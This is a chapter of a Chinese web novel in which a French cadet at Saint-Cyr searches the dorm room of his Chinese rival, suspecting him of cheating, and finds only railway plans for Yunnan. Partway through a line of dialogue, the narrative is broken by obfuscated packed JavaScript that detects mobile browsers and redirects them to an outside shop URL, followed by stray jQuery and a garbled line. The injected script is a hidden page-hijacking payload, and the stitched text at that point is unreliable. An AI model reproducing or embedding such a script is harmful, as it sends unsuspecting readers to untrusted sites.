巴黎的冬天向来漫长，尤其到了十二月，圣西尔的积雪几乎就没真正化过。
白天被成百上千双军靴踩成浑浊的泥浆，夜里又重新冻硬，第二天清晨再覆上一层新雪。整座军校像被封进一只巨大的、沉默的白色铁盒里，所有声音都变得迟钝，所有心事都被冻得发脆。
成绩公布后的第三天，Marcel Delacroix的心情依旧糟得像这天气。
他讨厌输，尤其讨厌输给一个中国人。过去十九年，他太习惯所有人理所当然的仰望了——教官的赞许、同学的讨好、家族朋友的恭维，甚至父亲军部里那些眼高于顶的同僚，在提起“Delacroix家的小少爷”时，语气都默认他会是同届最优秀的那个。
可现在，公告栏最顶端钉着的却是另一个名字：William Zhang。
更让Marcel感到烦躁的是，那个名字的主人似乎对此毫不在意。
换作任何一个新生，拿到圣西尔第一名总该得意几天，至少会在食堂多停留一会儿，享受旁人或惊讶或嫉妒的目光。
可张子轩没有。他依旧准时起床，准时上课，准时抱着一摞旁人看不懂的图纸进出图书馆，仿佛那张贴在风雪里的成绩单与他毫无关系。这种近乎冷漠的无视，比任何炫耀都更让Marcel火大。
于是怀疑开始生根。他怀疑那个中国人作了弊，否则根本无法解释。法语第一，军事理论第一，测绘第一，综合第一——一个刚到法国没多久的东方学生，凭什么把所有法国同龄人全踩在脚下？这个念头在他脑子里盘了整整三天，像积雪下的冰，越压越硬。
大雪封窗的第四个夜晚，他终于翻进了张子轩的宿舍。他是来找证据的，想看看对方究竟把答案藏在哪里，或者用了什么见不得光的手段。
可当他从窗台落地，借着走廊透进来的一点光看清房间陈设时，却愣住了。
这间宿舍跟圣西尔任何一间都不一样。墙上没有风景油画，没有赛马海报，没有巴黎舞会的烫金邀请函，更没有哪个姑娘的照片。
整整两面墙，钉满了地图。大大小小数十张图纸，有的已经泛黄卷边，边缘用红蓝铅笔写满密密麻麻的批注。
Marcel走近两步，才发现自己一个字也看不懂——那些方方正正的汉字在他眼里像另一套世界的密码，偶尔夹着几行法语注释和数字坐标，可大部分内容依旧陌生得让他无端烦躁。
他随手拿起桌上那本摊开的笔记。第一页是计算，第二页还是计算。桥梁承载、坡度数据、单日运兵量估算、山区展线设计……一页接一页，没有诗歌，没有小说，没有任何能被称作“作弊纸条”的东西。
只有铁路，密密麻麻的铁路，仿佛把整个云南的山川都搬到了纸上。
Marcel越翻眉头皱得越紧，他不明白，一个十八岁的军校生为什么会对这些冰冷的线条着魔。
就在这时，门锁轻响。张子轩抱着一卷新借的图纸推门进来，肩头还沾着图书馆檐下的雪。
他看见屋里站着人，脚步只是顿了一瞬。Marcel本以为对方会发火，至少会质问，可张子轩只是扫了一眼被翻开的笔记，就平静地关上房门，把新图纸放到桌上，好像半夜有人闯进自己宿舍并不是什么值得大惊小怪的事。
这种过分的平静反而让Marcel更不爽了。他把手里的笔记扬了扬，语气已经带了刺：
“Qu’est-ce que tu regardes toute la journée？”
（你整天到底在看什么？）
张子轩脱下手套，走到桌边，回答得言简意赅：
“Des chemins de fer.”
（铁路）
这句废话让Marcel气笑了，他把笔记扔回桌面，声音拔高：
“Je vois bien que ce sont des chemins de fer. Mais pourquoi？”
（我当然看得出这是铁路。但为什么？）
张子轩没有立刻回答。煤油灯的暖光勾出他侧脸的线条，他把新图纸展开，用镇纸压住卷起的边角，过了片刻才开口，语气平静得像在陈述一加一等于二：
“Parce qu’ils seront utiles un jour.”
（因为总有一天会用得上。）
这个答案显然无法让Marcel满意。他追问：
“Utiles à quoi？”
（用来干什么？）
房间里安静下来。窗外风雪一下一下敲着玻璃，煤油灯芯发出轻微的燃烧声。张子轩低头用铅笔在图上添了一条辅助线，头也没抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932497|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，声音不高，却字字清晰：
“? ma province.”
（为了我的家乡。）
Marcel皱起眉：
“Ta province？”
（你的省？）
“Le Yunnan.” 张子轩点点头，说出那个地名，“云南。”
Marcel对这个词不算陌生，新生名册上见过，张子轩的档案里也写过。可除此之外，他对那个地方一无所知。
它离巴黎有一万多公里，远到像世界地图边缘一个用针尖才能点住的小点。他无法理解，为什么有人愿意把所有时间都浪费在一个遥远到近乎虚构的地方。
“Tu es vraiment étrange.”
他最后只能得出这个结论，你真是个怪人。
张子轩闻言只是低下头，继续修改图纸上的坡度标注，连反驳的兴趣都没有。房间重新陷入安静，只剩下笔尖划过纸面的沙沙声，像雪落在云南的山里。
Marcel站了一会儿，发现自己已经找不到继续待下去的理由。他本是来抓作弊证据的，可现在看来，这个中国人根本没空作弊——他把所有时间都“浪费”在这些莫名其妙的铁路上了。
翻出窗户之前，他最后回头看了一眼。煤油灯下，那个来自云南的年轻人依旧坐在桌前，背脊挺直，侧脸沉静。
窗外是巴黎的雪夜，墙上是满壁看不懂的地图，整个世界仿佛都与他无关，而他所有的目光，都落在那些属于另一个地方的铁路线上。
回到自己宿舍后，Marcel躺在床上很久都没睡着。他依旧讨厌张子轩，甚至比之前更讨厌。
因为他越来越觉得，这个中国人的脑子根本不正常。
巴黎有那么多值得关心的东西：舞会、沙龙、军部的人脉、Delacroix家的荣誉。可他却把全部心思都钉死在几张纸上，钉死在万里之外那个叫云南的地方。
想到这里，Marcel烦躁地翻了个身，把被子拉过头顶，在黑暗里低低地骂了一句：
“Espèce de fou.”
（疯子。）
可骂完之后，他却失眠了整夜。因为他忽然意识到，张子轩不是没看见巴黎，他是看过了，然后还是选择了云南。
而自己，好像连选择的资格都没有。